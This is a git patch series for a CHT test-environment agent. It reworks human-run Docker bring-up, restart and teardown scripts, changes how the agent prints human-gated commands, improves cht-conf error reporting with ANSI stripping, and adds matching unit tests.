-7. **Where the binary lives.** Resolve `cht` from PATH (image installs it globally). Add a
-   `chtConfBin` override (constructor option or env `CHT_CONF_BIN`) for tests/local runs,
-   defaulting to `'cht'` — lets the spec stub a fake script without a global install.
-
-## 2. Files to touch
-
-- `src/utils/cht-conf-runner.ts` *(new)* — the spawn wrapper + `classifyChtConfOutput`.
-  Keep ALL `child_process` here (mirrors how `cht-readiness.ts` isolates `fetch`); the agent
-  stays orchestration-only. Exports `runBucket(opts): Promise<ConfigActionResult>`.
-- `src/agents/test-environment-agent.ts` — replace the `applyConfig` real-path throw with a
-  loop over `actions` calling `runBucket`, aggregating into `ConfigApplyResult`. Build the
-  cred URL here from the handle. Keep mock path untouched.
-- `src/types/index.ts` — likely no change (shape already baked). Maybe add a
-  `ChtConfRunOptions` interface for the runner.
-- `test/utils/cht-conf-runner.spec.ts` *(new)* — unit-test `classifyChtConfOutput` against
-  fixtures (uploaded / skipped / failed / mixed) and `runBucket` with a **stubbed spawn**
-  (fake `cht` script or sinon stub on the runner's spawn) → assert args (incl. the
-  autonomous-safe flags, cred URL, positional artifact), status mapping, timeout → failed.
-- `test/agents/test-environment-agent.spec.ts` — add real-mode `applyConfig` tests that stub
-  the runner (NOT spawn) → assert it builds the cred URL from the handle, calls `runBucket`
-  per action, aggregates `succeeded`/`warnings`, and that a failed bucket flips top-level
-  `succeeded:false` without aborting the others. **Keep the existing "throws" test only until
-  the real path lands, then replace it** (it currently asserts NOT_IMPLEMENTED).
-
-## 3. Conventions (same as Phase 1 — SonarCloud gate)
-
-- No `any` in `src/`; `strict` + `noUnusedParameters` (prefix unused with `_`).
-- Every test ≥1 assertion; no nested template literals (extract to a local first).
-- `[Test Environment Agent]` / `[cht-conf]` console prefixes; redact creds.
-- Node 22 to build/test (`~/.nvm/versions/node/v22.18.0/bin`).
-- Agent + spec land together; user drives all git; no `git add .`.
-
-## 4. Manual test (closed loop, needs the imported sandbox + a running env)
-
-1. Human brings up CHT (`scripts/test-env-up.sh <cht-core>`); agent `provision()` (real) waits ready.
-2. `applyConfig(handle, { configPath: '<CHT_CONF_PATH>', actions: ['app-forms'], artifact: 'pregnancy' })`
-   → confirm it runs `cht --url=… --source=… convert-app-forms upload-app-forms pregnancy`
-   with the autonomous-safe flags, and the report shows `status: uploaded`.
-3. Re-run unchanged → `status: skipped` (hash no-change). Break the form → `status: failed`.
-4. Confirm NO stdin prompt ever blocks (the `--force`/`--skip-*` set holds) and no push.
-
-## 5. Dependency / sequencing notes
-
-- §7.4 of `designs/cht-conf-agent-extension.md`: the env image must carry the **xlsx→XForm
-  toolchain** for `convert-app-forms`. #114 Dockerfile bakes `cht-conf` + `python3` (cht-conf
-  bundles medic-pyxform on install) — **verify `convert-app-forms` actually runs in-image**
-  before claiming the loop works; if pyxform is missing, that's a Dockerfile follow-up on #114.
-- This is the upload half; the cht-conf validate loop also needs `prepareTestData` (Phase 3:
-  `csv-to-docs` + `upload-docs` / `create-users`) and `reset('couchdb')`. PR5's full loop is
-  gated on Phase 3 too — applyConfig alone proves "fix uploads", not "symptom reproduced".
-- `discoverConfig` real path (read `/api/v1/settings`, parse into `DiscoveredConfig`) is a
-  natural companion to land in the same phase — it's pure `fetch`, no cht-conf, and the
-  apply→verify step re-reads settings to confirm the change took.
diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
index eac1bd7c..b3d51738 100755
--- a/scripts/test-env-down.sh
+++ b/scripts/test-env-down.sh
@@ -1,15 +1,21 @@
 #!/usr/bin/env bash
 #
 # Human-run teardown for the Test Environment Layer.
-# Usage: scripts/test-env-down.sh <cht-core-path>
+# Usage: scripts/test-env-down.sh [<cht-core-path>]
 # COUCHDB_* must be supplied even here: the compose files declare
 # ${COUCHDB_PASSWORD:?...}, which compose resolves for every subcommand.
 set -euo pipefail
 
-CHT_CORE_PATH="${1:?Usage: test-env-down.sh <cht-core-path>}"
-OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
+REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
+# Same resolution as test-env-up.sh, minus the clone: an env we tore up must already exist.
+TARGET="${1:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}}}"
+if [ ! -d "$TARGET/local-build" ]; then
+  echo "error: no cht-core build at $TARGET (pass a path or set CHT_CORE_PATH)" >&2
+  exit 1
+fi
 
-cd "$CHT_CORE_PATH/local-build"
+cd "$TARGET/local-build"
 COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
   -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" down -v
 
diff --git a/scripts/test-env-restart.sh b/scripts/test-env-restart.sh
index a5fb868a..17bb8b2e 100755
--- a/scripts/test-env-restart.sh
+++ b/scripts/test-env-restart.sh
@@ -2,15 +2,21 @@
 #
 # Human-run restart for the Test Environment Layer (reset tier: restart).
 # The cht-agent NEVER runs this or any Docker command itself.
-# Usage: scripts/test-env-restart.sh <cht-core-path>
+# Usage: scripts/test-env-restart.sh [<cht-core-path>]
 # COUCHDB_* must be supplied even here: the compose files declare
 # ${COUCHDB_PASSWORD:?...}, which compose resolves for every subcommand.
 set -euo pipefail
 
-CHT_CORE_PATH="${1:?Usage: test-env-restart.sh <cht-core-path>}"
-OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
+REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
+# Same resolution as test-env-up.sh, minus the clone: an env we tore up must already exist.
+TARGET="${1:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}}}"
+if [ ! -d "$TARGET/local-build" ]; then
+  echo "error: no cht-core build at $TARGET (pass a path or set CHT_CORE_PATH)" >&2
+  exit 1
+fi
 
-cd "$CHT_CORE_PATH/local-build"
+cd "$TARGET/local-build"
 COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
   -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" restart
 
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index ccce256b..2b79cf72 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -2,9 +2,15 @@
 #
 # Human-run bring-up for the Test Environment Layer (Model A — rebuild on change).
 # The cht-agent NEVER runs this or any Docker command itself; the agent's
-# provision() only polls /api/v2/monitoring and waits for this to finish.
+# provision() only polls /api/v2/monitoring and waits for this to finish. The
+# clone/install below is this HUMAN script's convenience — the agent still never
+# clones, installs, or runs Docker.
 #
-# Usage: scripts/test-env-up.sh <cht-core-path>
+# Usage: scripts/test-env-up.sh [<cht-core-path>]
+#
+# With no argument the stack is built from $CHT_CORE_PATH, or from a managed
+# checkout at $CHT_CORE_CLONE_DIR (default <repo>/.cht-core), cloned from master
+# on first use. A path you pass is used as-is and is never cloned into.
 #
 # Env overrides: COUCHDB_USER (default medic), COUCHDB_PASSWORD (default password).
 # These defaults match the agent's DEFAULT_AUTH — the local-build stack would
@@ -19,19 +25,71 @@
 # (LLM/MCP included) and is acceptable only inside a disposable runner container.
 set -euo pipefail
 
-CHT_CORE_PATH="${1:?Usage: test-env-up.sh <cht-core-path>}"
+REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
 # Must match the external network in docker/cht-agent-net.override.yml.
 NETWORK="cht-agent-net"
-OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
+CLONE_DIR="${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}"
+CHT_CORE_UPSTREAM="${CHT_CORE_UPSTREAM:-https://github.com/medic/cht-core.git}"
+CHT_CORE_BRANCH="${CHT_CORE_BRANCH:-master}"
+
+# cht-core's own engines require Node >= 22.15; npm ci and the image build both
+# fail in confusing ways on older runtimes.
+NODE_MAJOR="$(node -v 2>/dev/null | sed 's/^v\([0-9]*\).*/\1/')"
+if [ -z "$NODE_MAJOR" ] || [ "$NODE_MAJOR" -lt 22 ]; then
+  echo "error: cht-core needs Node >= 22.15 (found: $(node -v 2>/dev/null || echo 'no node')). Try 'nvm use 22'." >&2
+  exit 1
+fi
+
+TARGET="${1:-${CHT_CORE_PATH:-}}"
+if [ -z "$TARGET" ]; then
+  TARGET="$CLONE_DIR"
+  if [ ! -d "$TARGET/.git" ]; then
+    echo "No cht-core path given — cloning $CHT_CORE_BRANCH into $TARGET (shallow)."
+    echo "Pass a path, or set CHT_CORE_PATH, to build from a working copy instead."
+    # Shallow is safe: cht-core derives its image version from the branch name
+    # (cht-core's scripts/build/versions.js), not from git tags.
+    git clone --depth 1 --branch "$CHT_CORE_BRANCH" "$CHT_CORE_UPSTREAM" "$TARGET"
+  fi
+fi
+
+if [ ! -d "$TARGET" ]; then
+  echo "error: cht-core path not found: $TARGET" >&2
+  exit 1
+fi
+
+# `npm run local-images` builds from node_modules (bowser, uglifyjs, cleancss);
+# without them it dies on an opaque `cp: cannot stat` deep inside the build.
+if [ ! -d "$TARGET/node_modules" ]; then
+  echo "Installing cht-core dependencies in $TARGET (npm ci — several minutes, ~1.2GB)."
+  ( cd "$TARGET" && npm ci )
+elif [ ! -e "$TARGET/node_modules/bowser/bundled.js" ] || [ ! -x "$TARGET/node_modules/.bin/uglifyjs" ]; then
+  echo "error: cht-core dependencies in $TARGET look incomplete (the image build needs" >&2
+  echo "       bowser + uglifyjs). Run 'npm ci' there yourself — this script will not" >&2
+  echo "       replace an existing node_modules." >&2
+  exit 1
+fi
 
 # 1. Shared network the cht-agent and CHT both join (idempotent).
 docker network create "$NETWORK" 2>/dev/null || true
 
-# 2. Build images from local code.
-( cd "$CHT_CORE_PATH" && npm run local-images )
+# 2. Build the app. `npm run local-images` only PACKAGES an already-built tree:
+# build-service-images.sh copies into api/build/static/, which is created by
+# build-prepare.sh (ddocs, enketo css, admin app) and filled by build-webapp-dev.
+# npm ci alone does not produce it — build-dev also runs the per-module installs.
+if [ ! -d "$TARGET/api/build/static" ] || [ "${CHT_CORE_REBUILD:-}" = "1" ]; then
+  echo "Building cht-core in $TARGET (npm run build-dev — several minutes)."
+  ( cd "$TARGET" && npm run build-dev )
+else
+  echo "Reusing the existing cht-core build in $TARGET."
+  echo "Set CHT_CORE_REBUILD=1 to rebuild after changing cht-core source (Model A is rebuild-on-change)."
+fi
+
+# 3. Package those build outputs into local Docker images.
+( cd "$TARGET" && npm run local-images )
 
-# 3. Start the stack, joined to the shared network via the override.
-cd "$CHT_CORE_PATH/local-build"
+# 4. Start the stack, joined to the shared network via the override.
+cd "$TARGET/local-build"
 COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
   -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" up -d
 
diff --git a/src/agents/test-environment-agent.mock-data.ts b/src/agents/test-environment-agent.mock-data.ts
index 14574425..e2978dfd 100644
--- a/src/agents/test-environment-agent.mock-data.ts
+++ b/src/agents/test-environment-agent.mock-data.ts
@@ -28,7 +28,7 @@ export const mockConfigActionResult = (action: ConfigUploadAction): ConfigAction
 
 export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
   url: 'https://nginx',
-  // matches the defaults set by cht-core's scripts/docker-helper/cht-docker-compose.sh
+  // matches the creds scripts/test-env-up.sh brings the stack up with (and the agent's DEFAULT_AUTH)
   auth: { user: 'medic', password: 'password' },
   network: 'cht-agent-net',
   config: {
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 870447d9..a1beb250 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -96,6 +96,15 @@ const stripTrailingSlashes = (value: string): string => {
 /** Single-quote a path for the printed human-gate commands (spaces/metachars stay inert when pasted). */
 const shellQuote = (value: string): string => `'${value.split("'").join("'\\''")}'`;
 
+/**
+ * Argument for a printed gate command: a quoted path, or nothing when we don't
+ * know one — the scripts resolve CHT_CORE_PATH (or their managed checkout)
+ * themselves, so a bare command is runnable while a `'<cht-core>'` placeholder
+ * would not be.
+ */
+const gateArg = (chtCorePath: string | undefined): string =>
+  chtCorePath === undefined ? '' : ` ${shellQuote(chtCorePath)}`;
+
 const hasControlChars = (value: string): boolean => [...value].some((ch) => ch.charCodeAt(0) < 0x20);
 
 /** A resolved real-mode target: a credential-free instance URL + its auth. */
@@ -543,12 +552,12 @@ const reseedTrackedDocs = async (
 
 /** Print the human-gated restart/full reset instructions (the agent runs no Docker). */
 const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
-  const target = shellQuote(handle.chtCorePath ?? '<cht-core>');
+  const target = gateArg(handle.chtCorePath);
   console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
   if (tier === 'restart') {
-    console.log(`    scripts/test-env-restart.sh ${target}`);
+    console.log(`    scripts/test-env-restart.sh${target}`);
   } else {
-    console.log(`    scripts/test-env-down.sh ${target} && scripts/test-env-up.sh ${target}`);
+    console.log(`    scripts/test-env-down.sh${target} && scripts/test-env-up.sh${target}`);
   }
   console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
 };
@@ -586,9 +595,9 @@ export class TestEnvironmentAgent {
     if (!this.useMockDocker) {
       const { url, auth } = resolveRealTarget(options);
 
-      const target = shellQuote(options.chtCorePath ?? '<cht-core>');
+      const target = gateArg(options.chtCorePath);
       console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
-      console.log(`    scripts/test-env-up.sh ${target}   # build + start on ${network}`);
+      console.log(`    scripts/test-env-up.sh${target}   # build + start on ${network}`);
       console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
 
       await waitForReady(url, { maxWaitMs: DEFAULT_PROVISION_WAIT_MS, ...options.readiness });
@@ -922,9 +931,9 @@ export class TestEnvironmentAgent {
       // The environment (and every doc in it) is going away with the volumes.
       this.seededData.delete(trackingKey(handle));
 
-      const target = shellQuote(handle.chtCorePath ?? '<cht-core>');
+      const target = gateArg(handle.chtCorePath);
       console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
-      console.log(`    scripts/test-env-down.sh ${target}   # docker compose down -v`);
+      console.log(`    scripts/test-env-down.sh${target}   # docker compose down -v`);
       return;
     }
 
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index 4b0328ef..e0bd1a6a 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -154,14 +154,25 @@ export const classifyChtConfOutput = (output: string, exitCode: number | null):
 };
 
 const OUTPUT_TAIL_LINES = 5;
+// cht-conf colours its log lines (test-data.ts strips the same escapes for parsing);
+// warnings are read by humans and end up in JSON, so strip them here too.
+// eslint-disable-next-line no-control-regex
+const ANSI_ESCAPES = /\x1b\[[0-9;]*m/g;
 
-/** The last few non-empty output lines — cht-conf's own account of what went wrong. */
-const outputTail = (output: string): string[] =>
-  output
+/**
+ * cht-conf's own account of what went wrong. Its failures end in a long stack
+ * trace with the one useful `ERROR <reason>` line at the bottom, so prefer the
+ * ERROR lines when there are any and fall back to the tail otherwise.
+ */
+const outputTail = (output: string): string[] => {
+  const lines = output
+    .replace(ANSI_ESCAPES, '')
     .split('\n')
     .map((line) => line.trim())
-    .filter((line) => line.length > 0)
-    .slice(-OUTPUT_TAIL_LINES);
+    .filter((line) => line.length > 0);
+  const errors = lines.filter((line) => /\berror\b/i.test(line));
+  return (errors.length > 0 ? errors : lines).slice(-OUTPUT_TAIL_LINES);
+};
 
 /**
  * Explain a bucket that produced no upload evidence, and upgrade a targeted miss
@@ -239,9 +250,13 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
     proc.stderr?.on('data', (data) => chunks.push(data.toString()));
 
     proc.on('error', (error) => {
-      // ENOENT covers both a missing binary and an unreachable cwd — name both.
+      // ENOENT covers both a missing binary and an unreachable cwd — name both,
+      // and say so, because the bare errno sends people hunting the wrong one.
       const where = options.cwd === undefined ? `bin=${bin}` : `bin=${bin}, cwd=${options.cwd}`;
-      finish({ exitCode: null, timedOut: false, startError: `${error.message} (${where})` });
+      const hint = error.message.includes('ENOENT')
+        ? ' — check that cht-conf is on PATH (or set CHT_CONF_BIN) and that the cwd exists'
+        : '';
+      finish({ exitCode: null, timedOut: false, startError: `${error.message} (${where})${hint}` });
     });
 
     proc.on('close', (code) => {
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
index 3c7ef3c9..bce74284 100644
--- a/src/utils/test-data.ts
+++ b/src/utils/test-data.ts
@@ -6,7 +6,7 @@
  * the way cht-readiness.ts isolates fetch), classifying seeded docs against
  * the discovered config, and parsing cht-conf's stdout (upload-docs summary,
  * create-users progress). cht-conf logs every level to STDOUT with ANSI color
- * prefixes (src/lib/log.js), so the parsers strip escapes first.
+ * prefixes (cht-conf's src/lib/log.js), so the parsers strip escapes first.
  *
  * Verified against the installed cht-conf 6.5.0 src: csv-to-docs.js writes
  * `<project>/json_docs/<id>.doc.json`; upload-docs.js logs
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 965d366b..278537f8 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -141,6 +141,19 @@ describe('TestEnvironmentAgent', () => {
         expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/workspace/cht-core'"))).to.equal(true);
       });
 
+      it('should print a runnable bring-up gate when no cht-core path is known', async () => {
+        fetchStub.resolves({ ok: true, status: 200 });
+        const logSpy = sinon.spy(console, 'log');
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.provision({ version: '4.18.0' });
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        const gate = lines.find((line) => line.includes('scripts/test-env-up.sh'));
+        expect(gate).to.be.a('string');
+        expect(gate).to.not.include('<cht-core>');
+      });
+
       it('should reject if the environment never becomes ready', async () => {
         fetchStub.resolves({ ok: false, status: 503 });
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index 51f22303..25682657 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -67,7 +67,7 @@ describe('cht-conf-runner', () => {
     it('appends the artifact as a `--`-separated form filter for form buckets', () => {
       const args = buildChtConfArgs(baseOpts({ action: 'app-forms', artifact: 'pregnancy' }));
 
-      // main.js rejects bare positionals as unsupported actions; only
+      // cht-conf's main.js rejects bare positionals as unsupported actions; only
       // `-- <arg>` reaches environment.extraArgs / args-form-filter.
       expect(args.slice(-2)).to.deep.equal(['--', 'pregnancy']);
     });
@@ -278,7 +278,8 @@ describe('cht-conf-runner', () => {
       proc.emit('error', new Error('ENOENT'));
 
       const result = await promise;
-      expect(result.startError).to.equal('ENOENT (bin=cht)');
+      expect(result.startError).to.include('ENOENT (bin=cht)');
+      expect(result.startError).to.include('cht-conf is on PATH');
       expect(result.exitCode).to.be.null;
     });
 
@@ -290,7 +291,7 @@ describe('cht-conf-runner', () => {
       proc.emit('error', new Error('spawn cht ENOENT'));
 
       const result = await promise;
-      expect(result.startError).to.equal('spawn cht ENOENT (bin=cht, cwd=/nope/missing)');
+      expect(result.startError).to.include('spawn cht ENOENT (bin=cht, cwd=/nope/missing)');
     });
   });
 
@@ -446,6 +447,28 @@ describe('cht-conf-runner', () => {
       expect(result.warnings.join(' ')).to.include('missing instance');
     });
 
+    it('prefers the ERROR line over the stack frames that follow it, without ANSI codes', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+      // Shaped like a real cht-conf failure: the reason is buried above the trace.
+      const output = [
+        '\x1b[31mERROR EROFS: read-only file system, unlink \'/cfg/forms/app/death_report.xml\'\x1b[0m',
+        '    at Object.execute (/usr/local/lib/node_modules/cht-conf/src/fn/convert-app-forms.js:18:18)',
+        '    at executeAction (/usr/local/lib/node_modules/cht-conf/src/lib/main.js:262:40)',
+        '    at module.exports (/usr/local/lib/node_modules/cht-conf/src/lib/main.js:194:11)',
+        '    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)',
+        '    at async /usr/local/lib/node_modules/cht-conf/src/bin/index.js:16:5',
+      ].join('\n');
+
+      const promise = runBucket(baseOpts());
+      proc.stderr.emit('data', Buffer.from(output));
+      proc.emit('close', 1);
+
+      const result = await promise;
+      expect(result.warnings).to.have.lengthOf(1);
+      expect(result.warnings[0]).to.equal('cht-conf: ERROR EROFS: read-only file system, unlink \'/cfg/forms/app/death_report.xml\'');
+    });
+
     it('redacts credentials cht-conf echoed into its own output', async () => {
       const proc = makeFakeProc();
       const { runChtConf } = loadRunner(proc);

From e3cc817ded15646faab19aa277fcefff8a32773a Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 24 Aug 2026 23:33:10 -0600
Subject: [PATCH 18/24] fix(#66): gitignore

---
 .gitignore | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/.gitignore b/.gitignore
index cc1c4561..620714cb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -17,11 +17,9 @@ log
 # Research output files
 outputs/
 
-<<<<<<< HEAD
 # Managed cht-core checkout (scripts/test-env-up.sh with no path)
 .cht-core/
-=======
+
 # Pipeline skip-audit log. Every real run appends to it, so tracking it made each
 # run produce a commit and let a stray test entry reach real pipeline data (#146).
 agent-memory/_skipped.ndjson
->>>>>>> origin/main

From 090d5ae2c054cadd4f8a84feb15c8e2364ef3a51 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 24 Aug 2026 23:44:21 -0600
Subject: [PATCH 19/24] fix(#66): clear the SonarCloud findings on the layer
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Shell (12): the three test-env scripts are bash, so conditionals use [[ ]]. The npm ci
in test-env-up.sh keeps lifecycle scripts and carries a NOSONAR note — cht-core's
postinstall is patch-package, and --ignore-scripts would leave a broken install.

TypeScript (9): shellQuote uses replaceAll with the POSIX escape hoisted to a constant
(String.raw inline would nest template literals, itself a gate rule); hasControlChars
uses codePointAt; the bulk-docs shape check throws TypeError; and the cwd assertion uses
a dedicated matcher.

Cognitive complexity: extracted isSchemeAllowed/isExternalTargetAllowed from the target
guard, validateProvisionOptions from provision, trackSeededDocs from prepareTestDataReal,
assertNoOrphanDocIds from the reset worklist, and assertNotRedirect from the cht-api
request helper — the redirect check added last round had pushed it over the limit.

Found four more with eslint-plugin-sonarjs run locally than CI reported, since SonarCloud
only annotates changed lines; recipe in the review notes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---
 scripts/test-env-down.sh                   |   2 +-
 scripts/test-env-restart.sh                |   2 +-
 scripts/test-env-up.sh                     |  16 +--
 src/agents/test-environment-agent.ts       | 110 +++++++++++++--------
 src/utils/cht-api.ts                       |  13 ++-
 test/agents/test-environment-agent.spec.ts |   2 +-
 6 files changed, 89 insertions(+), 56 deletions(-)

diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
index b3d51738..32fb35e4 100755
--- a/scripts/test-env-down.sh
+++ b/scripts/test-env-down.sh
@@ -10,7 +10,7 @@ REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
 OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
 # Same resolution as test-env-up.sh, minus the clone: an env we tore up must already exist.
 TARGET="${1:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}}}"
-if [ ! -d "$TARGET/local-build" ]; then
+if [[ ! -d "$TARGET/local-build" ]]; then
   echo "error: no cht-core build at $TARGET (pass a path or set CHT_CORE_PATH)" >&2
   exit 1
 fi
diff --git a/scripts/test-env-restart.sh b/scripts/test-env-restart.sh
index 17bb8b2e..39d5dca4 100755
--- a/scripts/test-env-restart.sh
+++ b/scripts/test-env-restart.sh
@@ -11,7 +11,7 @@ REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
 OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
 # Same resolution as test-env-up.sh, minus the clone: an env we tore up must already exist.
 TARGET="${1:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}}}"
-if [ ! -d "$TARGET/local-build" ]; then
+if [[ ! -d "$TARGET/local-build" ]]; then
   echo "error: no cht-core build at $TARGET (pass a path or set CHT_CORE_PATH)" >&2
   exit 1
 fi
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index 2b79cf72..f6f175c2 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -36,15 +36,15 @@ CHT_CORE_BRANCH="${CHT_CORE_BRANCH:-master}"
 # cht-core's own engines require Node >= 22.15; npm ci and the image build both
 # fail in confusing ways on older runtimes.
 NODE_MAJOR="$(node -v 2>/dev/null | sed 's/^v\([0-9]*\).*/\1/')"
-if [ -z "$NODE_MAJOR" ] || [ "$NODE_MAJOR" -lt 22 ]; then
+if [[ -z "$NODE_MAJOR" ]] || [[ "$NODE_MAJOR" -lt 22 ]]; then
   echo "error: cht-core needs Node >= 22.15 (found: $(node -v 2>/dev/null || echo 'no node')). Try 'nvm use 22'." >&2
   exit 1
 fi
 
 TARGET="${1:-${CHT_CORE_PATH:-}}"
-if [ -z "$TARGET" ]; then
+if [[ -z "$TARGET" ]]; then
   TARGET="$CLONE_DIR"
-  if [ ! -d "$TARGET/.git" ]; then
+  if [[ ! -d "$TARGET/.git" ]]; then
     echo "No cht-core path given — cloning $CHT_CORE_BRANCH into $TARGET (shallow)."
     echo "Pass a path, or set CHT_CORE_PATH, to build from a working copy instead."
     # Shallow is safe: cht-core derives its image version from the branch name
@@ -53,17 +53,19 @@ if [ -z "$TARGET" ]; then
   fi
 fi
 
-if [ ! -d "$TARGET" ]; then
+if [[ ! -d "$TARGET" ]]; then
   echo "error: cht-core path not found: $TARGET" >&2
   exit 1
 fi
 
 # `npm run local-images` builds from node_modules (bowser, uglifyjs, cleancss);
 # without them it dies on an opaque `cp: cannot stat` deep inside the build.
-if [ ! -d "$TARGET/node_modules" ]; then
+if [[ ! -d "$TARGET/node_modules" ]]; then
   echo "Installing cht-core dependencies in $TARGET (npm ci — several minutes, ~1.2GB)."
+  # NOSONAR: --ignore-scripts would skip cht-core's patch-package postinstall,
+  # which is required for a working install.
   ( cd "$TARGET" && npm ci )
-elif [ ! -e "$TARGET/node_modules/bowser/bundled.js" ] || [ ! -x "$TARGET/node_modules/.bin/uglifyjs" ]; then
+elif [[ ! -e "$TARGET/node_modules/bowser/bundled.js" ]] || [[ ! -x "$TARGET/node_modules/.bin/uglifyjs" ]]; then
   echo "error: cht-core dependencies in $TARGET look incomplete (the image build needs" >&2
   echo "       bowser + uglifyjs). Run 'npm ci' there yourself — this script will not" >&2
   echo "       replace an existing node_modules." >&2
@@ -77,7 +79,7 @@ docker network create "$NETWORK" 2>/dev/null || true
 # build-service-images.sh copies into api/build/static/, which is created by
 # build-prepare.sh (ddocs, enketo css, admin app) and filled by build-webapp-dev.
 # npm ci alone does not produce it — build-dev also runs the per-module installs.
-if [ ! -d "$TARGET/api/build/static" ] || [ "${CHT_CORE_REBUILD:-}" = "1" ]; then
+if [[ ! -d "$TARGET/api/build/static" ]] || [[ "${CHT_CORE_REBUILD:-}" = "1" ]]; then
   echo "Building cht-core in $TARGET (npm run build-dev — several minutes)."
   ( cd "$TARGET" && npm run build-dev )
 else
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index a1beb250..5fe888ef 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -68,6 +68,10 @@ const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
   'resources',
 ];
 
+// cht-conf verbs used by the seeding + reset paths.
+const CSV_TO_DOCS = 'csv-to-docs';
+const UPLOAD_DOCS = 'upload-docs';
+
 // CouchDB id prefix of installed form docs (form:pregnancy -> pregnancy).
 const FORM_DOC_PREFIX = 'form:';
 
@@ -94,7 +98,9 @@ const stripTrailingSlashes = (value: string): string => {
 };
 
 /** Single-quote a path for the printed human-gate commands (spaces/metachars stay inert when pasted). */
-const shellQuote = (value: string): string => `'${value.split("'").join("'\\''")}'`;
+// POSIX single-quote escaping: close the quote, emit an escaped one, reopen.
+const SINGLE_QUOTE_ESCAPE = String.raw`'\''`;
+const shellQuote = (value: string): string => `'${value.replaceAll("'", SINGLE_QUOTE_ESCAPE)}'`;
 
 /**
  * Argument for a printed gate command: a quoted path, or nothing when we don't
@@ -105,7 +111,8 @@ const shellQuote = (value: string): string => `'${value.split("'").join("'\\''")
 const gateArg = (chtCorePath: string | undefined): string =>
   chtCorePath === undefined ? '' : ` ${shellQuote(chtCorePath)}`;
 
-const hasControlChars = (value: string): boolean => [...value].some((ch) => ch.charCodeAt(0) < 0x20);
+const hasControlChars = (value: string): boolean =>
+  [...value].some((ch) => (ch.codePointAt(0) ?? 0) < 0x20);
 
 /** A resolved real-mode target: a credential-free instance URL + its auth. */
 interface RealTarget {
@@ -147,9 +154,16 @@ const resolveRealAuth = (
  * stale CHT_URL pointing at staging must fail loudly rather than clobber it.
